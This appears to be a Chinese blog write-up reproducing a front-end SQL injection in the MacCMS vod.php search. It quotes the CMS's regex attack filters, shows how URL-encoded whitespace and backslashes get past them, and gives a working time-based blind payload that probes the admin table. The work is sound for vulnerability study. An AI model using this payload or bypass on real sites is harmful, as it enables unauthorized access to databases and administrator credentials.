前言
maccms前台sql注入复现现场…….
炒冷饭现场…….
漏洞分析
据说这个地方有sql注入的漏洞
同样的我们跟踪到vod.php
看到method=’search’
通过be()方法获得wd.然后chkSql().对输入的语句进行sql检测…….
跟踪be(),这里可以通过POST,GET或者REQUEST方法获得wd.并且wd经过addslashes()的转义处理
回到vod.php然后我们跟一下chkSql(),该方法接收的变量$s(也就是我们传入的$wd)后,将会进行循环性的urldecode().直到解出原文为止,获得原文后在放入stopAttack()中.
跟踪stopAttack(),使用$getfilter的匹配规则,去正则匹配检查$s的内容中是否有不安全字符.
1 2 3 4 5 6 7 8
| $getfilter = "\\<.+javascript:window\\[.{1}\\\\x|<.*=(&#\\d+?;?)+?>|<.*(data|src)=data:text\\/html.*>|\\b(alert\\(|be\\(|eval\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\()|<[a-z]+?\\b[^>]*?\\bon([a-z]{4,})\s*?=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)|UNION([\s\S]*?)SELECT|_get|_post|_request|_cookie|eval|assert|base64_decode|file_get_contents|file_put_contents|fopen|chr|strtr|pack|gzuncompress|preg_replace|\\{if|\\{else|\\{|\\}|:php";
$postfilter = "<.*=(&#\\d+?;?)+?>|<.*data=data:text\\/html.*>|\\b(alert\\(|be\\(|eval\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover|eval)\\b|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)|UNION([\s\S]*?)SELECT|_get|_post|_request|_cookie|eval|assert|base64_decode|file_get_contents|file_put_contents|fopen|chr|strtr|pack|gzuncompress|preg_replace|\\{if|\\{else|\\{|\\}|:php";
$cookiefilter = "benchmark\s*?\(.*\)|sleep\s*?\(.*\)|be\\(|eval\\(|load_file\s*?\\(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)|UNION([\s\S]*?)SELECT";
|
但是过滤规则存在被绕过的可能性
回到函数chkSql()
跟进这个htmlEncode($str)
这里对&,’,空格,”,TAB,回车,换行,大小于号进行实体化的转换,此处没有对其他的空白字符和反斜杠进行处理,可以被绕过。
然后我们回到这个vod.php中,再看这个代码,
可以看到$tpl->P[“wd”]=$wd.来自我们输入的wd
我们看到template.php中,case vod中$lp[‘wd’]会得到wd的值.
看看哪里用到了$lp[‘wd’].
我们利用之前的addlashes()转义,并且这里的两处$lp[‘wd’].
最初我们的payload如下:
1
| ||if((select ascii(length((select(m_name) from(mac_manager))))=53),(`sleep`(3)),0)
|
这是一个字符型注入,第一个payload用来闭合前面的单引号,第二个用来注入.
然后根据前面的问题挨个绕过
addslashes()转义\
成\\
的问题,htmlEncode
又会对前面的空格转义成
.
这里我们可以利用URL编码绕过htmlEncode
,具体可以看HTML URL编码表%0c
%0b
等都可以,后面的\
可以用URL编码绕过%5c
或者双编码%25%35%63
那么我们构造成的payload就是下面的,功能是查询管理员账号字段的长度
1
| wd=))||if((select%0cascii(length((select(m_name)``from(mac_manager))))=53),(`sleep`(3)),0)
|
我们现在后台添加一条数据,便于数据库做查询
然后注入测试
总结
学习到了sql注入的一些技巧和构造方法,这个漏洞还是蛮有意思的.
闭合单引号的思路可以学习一下.